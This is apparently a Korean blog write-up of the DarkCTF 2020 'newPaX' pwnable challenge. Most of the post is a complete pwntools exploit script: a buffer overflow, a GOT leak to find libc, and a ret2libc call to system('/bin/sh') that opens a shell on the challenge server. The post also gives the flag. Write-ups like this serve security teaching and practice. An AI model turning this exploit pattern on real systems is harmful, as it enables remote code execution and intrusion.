[DarkCTF 2020] newPaX write up
글 작성자: Universe7202
pwnable 분야의 두번째 문제 newPaX 이다.
Checksec
Analyze
이번 바이너리에는 `main()` 과 `vuln()` 이렇게 2개가 있는데, `main()` 함수에는 별거 없고 `vuln()` 함수에서 `BOF` 공격이 가능하다. 이전 문제와 다른점은 `32bit` 라는 점이다.
`32bit rop` 공격은 `64bit` 와 다르기 때문에, 아래 코드 처럼 `stack` 에 데이터를 overwrite 했다. 필자는 `read()` 함수의 `GOT`를 leak 했고, libc database 사이트에서 라이브러리를 다운 받아 `libc_base` 를 구했다.
from pwn import *
p = remote("newpax.darkarmy.xyz", "5001")
e = ELF("./newPaX", checksec=False)
l = ELF("./libc6-i386_2.27-3ubuntu1.2_amd64.so", checksec=False)
payload = "A"*0x34
payload += p32(e.symbols["printf"])
payload += p32(e.symbols["main"])
payload += p32(e.got["read"])
p.sendline(payload)
read_got = u32(p.recv(4))
libc_base = read_got - l.symbols["read"]
system = libc_base + l.symbols["system"]
위에서 `libc_base` 주소와 `system()` 함수의 주소를 구했으므로 `rop` 공격을 진행하면 된다.
우선 `system()` 함수의 인자인 `/bin/sh` 문자열을 `read()` 함수를 호출하여 `bss` 영역에 문자열을 입력 했다.
payload = "A" * 0x34
payload += p32(e.symbols["read"])
payload += p32(e.symbols["main"])
payload += p32(0)
payload += p32(e.bss()+8)
payload += p32(10)
p.sendline(payload)
p.sendline("/bin/sh\x00")
shell을 실행시키기 위해 `system()` 함수의 주소를 overwrite 하고, `/bin/sh` 문자열이 저장되어 있는 `bss` 주소를 인자로 주면 shell을 실행 시킬 수 있다.
payload = "A" * 0x35
payload += p32(system)
payload += "A"*4
payload += p32(e.bss()+8)
payload += p32(0)
p.sendline(payload)
p.interactive()
최종 `payload` 는 다음과 같다.
from pwn import *
p = remote("newpax.darkarmy.xyz", "5001")
e = ELF("./newPaX", checksec=False)
l = ELF("./libc6-i386_2.27-3ubuntu1.2_amd64.so", checksec=False)
payload = "A"*0x34
payload += p32(e.symbols["printf"])
payload += p32(e.symbols["main"])
payload += p32(e.got["read"])
p.sendline(payload)
read_got = u32(p.recv(4))
libc_base = read_got - l.symbols["read"]
system = libc_base + l.symbols["system"]
print("read_got: "+hex(read_got))
print("libc_base: "+hex(libc_base))
payload = "A" * 0x34
payload += p32(e.symbols["read"])
payload += p32(e.symbols["main"])
payload += p32(0)
payload += p32(e.bss()+8)
payload += p32(10)
p.sendline(payload)
p.sendline("/bin/sh\x00")
payload = "A" * 0x35
payload += p32(system)
payload += "A"*4
payload += p32(e.bss()+8)
payload += p32(0)
p.sendline(payload)
p.interactive()
# darkCTF{f1n4lly_y0u_r3s0lv3_7h1s_w17h_dlr3s0lv3}
'🚩CTF' 카테고리의 다른 글
[DreamhackCTF 2020] Mango write up (0) | 2020.09.29 |
---|---|
[DarkCTF 2020] web write up (0) | 2020.09.27 |
[DarkCTF 2020] rop write up (0) | 2020.09.27 |
[Google CTF 2020] log-me-in write up (5) | 2020.08.27 |
[Google CTF 2020] pasteurize write up (0) | 2020.08.27 |
댓글
이 글 공유하기
다른 글
-
[DreamhackCTF 2020] Mango write up
[DreamhackCTF 2020] Mango write up
2020.09.29 -
[DarkCTF 2020] web write up
[DarkCTF 2020] web write up
2020.09.27 -
[DarkCTF 2020] rop write up
[DarkCTF 2020] rop write up
2020.09.27 -
[Google CTF 2020] log-me-in write up
[Google CTF 2020] log-me-in write up
2020.08.27